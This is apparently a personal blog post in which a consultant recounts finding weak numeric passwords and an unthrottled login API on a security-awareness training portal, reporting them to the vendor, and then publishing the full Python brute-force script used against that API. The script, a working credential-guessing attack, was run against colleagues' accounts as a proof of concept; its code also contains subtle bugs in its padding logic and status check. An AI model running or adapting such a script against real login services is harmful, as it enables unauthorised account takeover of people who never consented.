As an OpenSource consultant I’m currently working for a medium sized company. This company wants to raise the security awareness of all their employees. This includes all of their consultants and office personal. They choose to do this with help a company that should be specialized in raising the awareness. For obvious reasons I will not name this company but they are raising the security awareness with a game-like course. But this is where all the trouble begins.

The mail with authenication credentials.

Wednesday 23 of january 2019, I received an e-mail from a company. They created an useraccount for me in order to raise security awareness. The e-mail explained why this e-mail was sended to me and gave me a username and password in order to login to theire portal.

First error: never send a username and password in one e-mail, but okay everybody makes mistakes.

Second error: The random generated passwdrd where only digits with a max entropy of 1.000.000.

The portal

After loggin in to their portal it surprised me that I was not prompted to change the password. It is a randomly generated password with an entropy of 1.000.000 different combinations. I should be prompted with a please change your password dialog. But this was never the case. Furthermore to change your password you needed to go to a small link on their portal which was your username. After I found this the first thing I did was changing the password.

After looking some video’s on the portal with the common stuff, use a password manager, what is a phishing mail, how to create a strong password it was time to look at some intrestig stuff. I opened the developers console in the browser and there it was. There first error that I encountered, Failure to load resources: the server responded with status code 401 /api/session. This looks like fun, a API that handles authorization. Let’s open live headers in the developer console.

Third error: username and password are sended in plain-text to API.

Nice, although the portal is using https so the credentials are somewhat secured this website and API are vulnerable for a Man In The Middle attack. But let’s dig a bit deeper in the API and see if we could get some status_code from it. With the use of curl i tried to access the API from my local machine, and it worked.

Fourth error: API endpoint accessable from the whole evil internet.

After a short while we noticed that we have unlimited authentication faiure, the API was not blocking all of failed requests I sended to it. Even when I tested 1000 failed authentications on my own useraccount. Sweet, this could be fun.

Fifth error: The API is vulnerable to brute-force attacks.

The script to rule them all

At this moment I got a whatsapp message from a colleague. He has also find the some finding as I did and he had created a python script but did work. I have did it on the commandline shell of my macbook, so change my code to python is not a big deal. After some changes to the script and finding out that it works perfectly we started to script to get the usercredentials of all other colleagues of us. This was a save set to get and also an easy set because we known all usernames, they where very predictable.

After starting the script because we needed a proof of concept I decided to do the most sensible thing and be the good white hat hacker and I create an nice e-mail to the company. In this e-mail I explained the issues that we found with there portal and way of sending the credentials, the way they did not offer users to change their password after the first login. And we explained that they have a big security issue with theit portal and handed over the proof of concept.

This company reacted very correct to this email and after pointing them in the right direction, they where able to resolve the brute-force attack vulnerablity. And are implementing some extra security features like, password change on first login, not sending username and password in theire e-mails but a link to activate theire accounts.

But now the fun part. The script to rule them all.

#!/usr/bin/env python3

"""
bruteforce.py: a small bruteforce script to bruteforce a password from
portal.************.com by using the api
"""

import sys
from requests import Session


def brute_force(username, password):
    """
    function for bruteforcing the random generated password.
    """
    session = Session()
    baseurl = 'https://portal.************.com/'
    apiendpoint = 'api/session'
    api = baseurl + apiendpoint

    headers = {
        'Content-Type': 'application/json',
        'Referer': 'https://portal.************.com/',
        'Origin': 'https://portal.************.com',
        'Accept': '*/*',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'en-US,en;q=0.9,nl;q=0.8',
        'Cookie': 'appLocale=nl',
    }

    payload = {
        "username": username,
        "password": password
    }

    return session.post(api, headers=headers, json=payload)


def main():
    """
    Main function
    """

    usern = "<an email address goes here>"

    for idx in range(999999):
        if idx < 10:
            passw = '00000' + str(idx)
        elif idx < 100 > 9:
            passw = '0000' + str(idx)
        elif idx < 1000 > 99:
            passw = '000' + str(idx)
        elif idx < 10000 > 1000:
            passw = '00' + str(idx)
        elif idx < 100000 > 10000:
            passw = '0' + str(idx)
        else:
            passw = str(idx)

        result = brute_force(usern, passw)

        if result.status_code == '200':
            print('Password found for user {}: {}' .format(usern, passw))
            sys.exit(0)


if __name__ == "__main__":
    main()
    sys.exit(1)